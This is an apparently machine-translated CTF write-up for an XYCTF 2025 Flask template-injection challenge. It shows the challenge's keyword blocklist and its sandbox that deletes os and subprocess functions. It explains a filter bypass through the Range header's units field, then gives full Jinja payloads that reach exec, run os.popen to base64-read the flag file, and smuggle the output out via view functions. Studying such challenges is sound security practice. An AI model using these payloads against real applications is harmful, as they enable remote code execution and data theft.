A total of 8211 characters, expected to take 21 minutes to complete reading.
Title
This question is a repetition of the previous question. Look at the previous question here: https://www.mcso.top/computer/ctf/xyctf2025-now-you-see-me-1/
Source code:
# -*- encoding: utf-8 -*-
'''
@File : src.py
@Time : 2025/03/29 01:20:49
@Author : LamentXU
'''
# DNS config: No reversing shells for you.
import flask
import time, random
import flask
import sys
enable_hook = False
counter = 0
def audit_checker(event,args):
global counter
if enable_hook:
if event in ["exec", "compile"]:
counter += 1
if counter > 4:
raise RuntimeError(event)
# 多限制了 referrer authorization user pragma mimetype
# 允许了 g|a referer
lock_within = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referrer",
"authorization","user", "pragma", "mimetype", "origin"
"Isn't that enough? Isn't that enough."]
# lock_within = []
allowed_endpoint = ["static", "index", "r3al_ins1de_th0ught"]
app = flask.Flask(__name__)
@app.route('/')
def index():
return 'try /H3dden_route'
@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
quote = flask.request.args.get('spell')
if quote:
try:
if quote.startswith("fly-"):
for i in lock_within:
if i in quote:
print(i)
return "wouldn't it be easier to give in?"
time.sleep(random.randint(10, 30)/10) # No time based injections.
flask.render_template_string('Let-the-magic-{#'+f'{quote}'+'#}')
print("Registered endpoints and functions:")
for endpoint, func in app.view_functions.items():
if endpoint not in allowed_endpoint:
del func # No creating backdoor functions & endpoints.
return f'What are you doing with {endpoint} hacker?'
return 'Let the true magic begin!'
else:
return 'My inside world is always hidden.'
except Exception as e:
print(e)
return 'Error'
else:
return 'Welcome to Hidden_route!'
if __name__ == '__main__':
import os
try:
import _posixsubprocess
del _posixsubprocess.fork_exec
except:
pass
import subprocess
del os.popen
del os.system
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.check_output
del subprocess.getoutput
del subprocess.check_call
del subprocess.getstatusoutput
del subprocess.PIPE
del subprocess.STDOUT
del subprocess.CalledProcessError
del subprocess.TimeoutExpired
del subprocess.SubprocessError
sys.addaudithook(audit_checker)
app.run(debug=False, host='0.0.0.0', port=80)
Ideas
Let's look at the source code first and find that the root of the disabled word is different. We can find out which disabled words have been changed through the following code:
lock_within1 = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"g|a", "GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referer",
"The closer you see, the lesser you find."]
lock_within2 = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referrer",
"authorization","user", "pragma", "mimetype", "origin"
"Isn't that enough? Isn't that enough."]
for i in lock_within2:
if i not in lock_within1:
print(i)
It was found that the bypass method of the previous question could not be used, and the following words were mostly disabled:
referrer
authorization
user
pragma
mimetype
Then look again request
What else can be used in the library? Retrieve it with the following code:
lock_within2 = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referrer",
"authorization","user", "pragma", "mimetype", "origin"
"Isn't that enough? Isn't that enough."]
request =['__annotations__', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__enter__', '__eq__', '__exit__', '__format__', '__ge__', '__getattribute__', '__getstate__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_cached_json', '_get_file_stream', '_get_stream_for_parsing', '_load_form_data', '_parse_content_type', 'accept_charsets', 'accept_encodings', 'accept_languages', 'accept_mimetypes', 'access_control_request_headers', 'access_control_request_method', 'access_route', 'application', 'args', 'authorization', 'base_url', 'blueprint', 'blueprints', 'cache_control', 'close', 'content_encoding', 'content_length', 'content_md5', 'content_type', 'cookies', 'data', 'date', 'dict_storage_class', 'endpoint', 'environ', 'files', 'form', 'form_data_parser_class', 'from_values', 'full_path', 'get_data', 'get_json', 'headers', 'host', 'host_url', 'if_match', 'if_modified_since', 'if_none_match', 'if_range', 'if_unmodified_since', 'input_stream', 'is_json', 'is_multiprocess', 'is_multithread', 'is_run_once', 'is_secure', 'json', 'json_module', 'list_storage_class', 'make_form_data_parser', 'max_content_length', 'max_form_memory_size', 'max_form_parts', 'max_forwards', 'method', 'mimetype', 'mimetype_params', 'on_json_loading_failed', 'origin', 'parameter_storage_class', 'path', 'pragma', 'query_string', 'range', 'referrer', 'remote_addr', 'remote_user', 'root_path', 'root_url', 'routing_exception', 'scheme', 'script_root', 'server', 'shallow', 'stream', 'trusted_hosts', 'url', 'url_root', 'url_rule', 'user_agent', 'user_agent_class', 'values', 'view_args', 'want_form_data_parsed']
for i in request:
flag = True
for j in lock_within2:
if j in i:
flag = False
break
if flag:
print(i)
blueprint
blueprints
date
endpoint
origin
range
scheme
server
shallow
The above can still be used, one request.range
property.
To request
Found in source code range
property, again. HTTP Header, you can try to inject:
Save in units
Inside, therefore. request.range.units
can be utilized.
We are in Header Add this attribute to the, and then request.range.units
We can get our incoming args
, that is, you can construct request.args
, you can enter any character!
According to the same construction method as in the previous question:
spell:fly-%23}{%print((((((((((()|attr((request|attr(request.range.units)).get(0|string))|attr((request|attr(request.range.units)).get(1|string))|attr((request|attr(request.range.units)).get(2|string)))(0)|attr((request|attr(request.range.units)).get(3|string)))())|attr((request|attr(request.range.units)).get(2|string)))(137))|attr((request|attr(request.range.units)).get(4|string))|attr((request|attr(request.range.units)).get(5|string))|attr((request|attr(request.range.units)).get(2|string)))((request|attr(request.range.units)).get(6|string)))|attr((request|attr(request.range.units)).get(2|string)))((request|attr(request.range.units)).get(7|string)))((request|attr(request.range.units)).get(8|string)))%}{%23
0:__class__
1:__bases__
2:__getitem__
3:__subclasses__
4:__init__
5:__globals__
6:__builtins__
7:exec
8:a=__import__('os').popen('xxx').read()
According to the sleep time, judge the file in 1M About the size, it is definitely not possible to read this file through delayed blind annotation (this is a monkey year and a horse month!):
We can only find the obvious, we note:
We can inject the value to be returned into endpoint
on this variable.
spell:fly-%23}{%print((((((((((()|attr((request|attr(request.range.units)).get(0|string))|attr((request|attr(request.range.units)).get(1|string))|attr((request|attr(request.range.units)).get(2|string)))(0)|attr((request|attr(request.range.units)).get(3|string)))())|attr((request|attr(request.range.units)).get(2|string)))(137))|attr((request|attr(request.range.units)).get(4|string))|attr((request|attr(request.range.units)).get(5|string))|attr((request|attr(request.range.units)).get(2|string)))((request|attr(request.range.units)).get(6|string)))|attr((request|attr(request.range.units)).get(2|string)))((request|attr(request.range.units)).get(7|string)))((request|attr(request.range.units)).get(8|string)))%}{%23
0:__class__
1:__bases__
2:__getitem__
3:__subclasses__
4:__init__
5:__globals__
6:__builtins__
7:exec
8:a=__import__('os').popen('base64 /flag*').read();__import__('flask').current_app.view_functions[a]=lambda:""
This gets the base64 encoded file like this and decodes it:
One PNG Pictures? Looks like another steganography topic. This steganography has not been done... It seems that you can only use the website to solve.
According The writeup of the person, with this website can be solved:https://toolgg.com/image-decoder.html.
Drag the picture in and get flag!